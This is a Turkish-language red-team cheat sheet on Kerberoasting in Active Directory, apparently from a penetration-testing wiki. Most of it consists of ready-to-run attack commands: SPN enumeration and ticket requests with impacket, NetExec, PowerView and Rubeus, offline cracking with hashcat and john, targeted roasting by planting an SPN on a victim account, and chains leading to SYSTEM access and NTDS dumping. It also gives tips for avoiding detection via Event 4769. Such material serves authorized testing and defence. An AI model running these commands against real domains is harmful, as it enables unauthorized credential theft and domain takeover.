Skip to content

Kerberoasting

MITRE ATT&CK · T1558.003 verified · 2026-07 difficulty: kolay

Kerberoasting, bir Service Principal Name (SPN) atanmış domain hesaplarını hedefler. Kimliği doğrulanmış herhangi bir kullanıcı, bu hesaplar için TGS (service ticket) isteyebilir. Bilet, servis hesabının uzun vadeli anahtarıyla (genelde NTLM → RC4) şifrelenir; şifreli kısım offline kırılabilir. Servis hesapları çoğunlukla zayıf/eski/nadiren rotate edilen parolalara sahip olduğu için etkilidir.

1. Authenticated user → TGT var
2. TGS-REQ for SPN (örn. MSSQLSvc/sql01.domain.local:1433)
3. KDC, SPN'in sahibi hesabın anahtarıyla şifreli TGS-REP döner
4. Saldırgan TGS ciphertext'ini hashcat -m 13100 (RC4) ile kırar

Makine hesapları ($) de SPN taşır ama 120+ karakter rastgele parola → pratikte kırılmaz. Hedef: user-class service accounts.

  • Herhangi geçerli domain kullanıcısı (veya makine hesabı).
  • SPN’li en az bir kullanıcı hesabı.
  • DC’ye 88/tcp (ve LDAP enum için 389).

BloodHound: Kerberoastable Users; kenar yok — özellik tabanlı. Kırılan hesap sonrası AdminTo / MemberOf / AllowedToDelegate yolları.

Kerberoast · GetUserSPNs

embedded tool
Generated command
impacket-GetUserSPNs domain.local/lowpriv -dc-ip 10.10.10.5 -request -outputfile kerberoast.hashes

Kimlikli herhangi bir kullanıcı yeterlidir.

Kimlikli herhangi bir kullanıcı yeterlidir.

  1. SPN’li hesapları bul :

    Terminal window
    impacket-GetUserSPNs domain.local/user:'Pass123' -dc-ip 10.10.10.5
    Terminal window
    nxc ldap 10.10.10.5 -u user -p 'Pass123' --kerberoasting /dev/null
    Terminal window
    Get-DomainUser -SPN | select samaccountname,serviceprincipalname,memberof
  2. TGS iste — RC4 tercih et (kırılması kolay; AES varsa yavaş):

    Terminal window
    impacket-GetUserSPNs domain.local/user:'Pass123' -dc-ip 10.10.10.5 \
    -request -outputfile kerberoast.hashes
    Terminal window
    impacket-GetUserSPNs domain.local/user -hashes :NTHASH -dc-ip 10.10.10.5 -request
    Terminal window
    export KRB5CCNAME=user.ccache
    Terminal window
    impacket-GetUserSPNs -k -no-pass domain.local/user -dc-ip 10.10.10.5 -request
    Terminal window
    impacket-GetUserSPNs domain.local/user:'Pass123' -dc-ip 10.10.10.5 \
    -request-user svc_sql -outputfile targeted.hashes
  3. Rubeus (Windows) :

    Terminal window
    Rubeus.exe kerberoast /nowrap /outfile:kerberoast.hashes
    Terminal window
    Rubeus.exe kerberoast /user:svc_sql /nowrap
    Terminal window
    Rubeus.exe kerberoast /rc4opsec /nowrap # AES hesaplarını atla / opsec
    Terminal window
    Rubeus.exe kerberoast /tgtdeleg /nowrap # current logon TGT ile
    Terminal window
    Rubeus.exe kerberoast /stats # etype istatistik
  4. Offline kır :

    Terminal window
    hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt
    Terminal window
    hashcat -m 19700 kerberoast.hashes wordlist.txt # aes128: 19600, aes256: 19700
    Terminal window
    john --format=krb5tgs kerberoast.hashes --wordlist=rockyou.txt
  5. Kullan — servis hesabı sıkça local admin veya constrained delegation sahibidir → Delegation / lateral.

Hedefte GenericWrite / GenericAll varsa geçici SPN ekleyip roast et, sonra SPN’i sil:

Terminal window
bloodyAD -u attacker -p 'Pass' -d domain.local --host DC \
set object victim userAccountControl # veya set SPN
Terminal window
Set-DomainObject -Identity victim -Set @{serviceprincipalname='http/evil'}
Terminal window
Set-DomainObject -Identity victim -Clear serviceprincipalname

BloodHound: GenericWrite → User kenarı.

$krb5tgs$23$*user$DOMAIN$spn*$cipher...

23 = RC4. AES roast’ta $krb5tgs$18$ / $17$ görünür.

Kerberoast svc_mssql → parola kırıldı
→ AllowedToDelegate → cifs/SQL01
→ getST -impersonate Administrator → SYSTEM on SQL01
Kerberoast svc_backup ∈ Backup Operators
→ DC'de SeBackup → NTDS kopyala
  • Toplu -request her SPN için Event 4769 üretir; /rc4opsec veya sadece yüksek değerli hesapları roast et.
  • AES-only hesaplar RC4 TGS vermeyebilir — kırılması zor; zamanı delegation/ACL yollarına kaydır.
  • Kırma GPU’da offline; hedefe ek trafik yok.
  • gMSA hesapları teknik olarak SPN’li olabilir ama parola yönetimli ve güçlüdür.
  • Parola istemeden çalıştırma → -request unutulursa sadece liste gelir.
  • Makine hesaplarını kırmaya çalışmak zaman kaybı.
  • Clock skew / yanlış DC IP.
  • GetUserSPNs çıktısındaki etype’a göre yanlış hashcat modu.
  • Kırılan hesabın AdminCount /DA olması nadir; yolu BloodHound’da takip et.

AS-REP Roasting · Delegation · Silver Ticket (hash kırıldıktan sonra forge)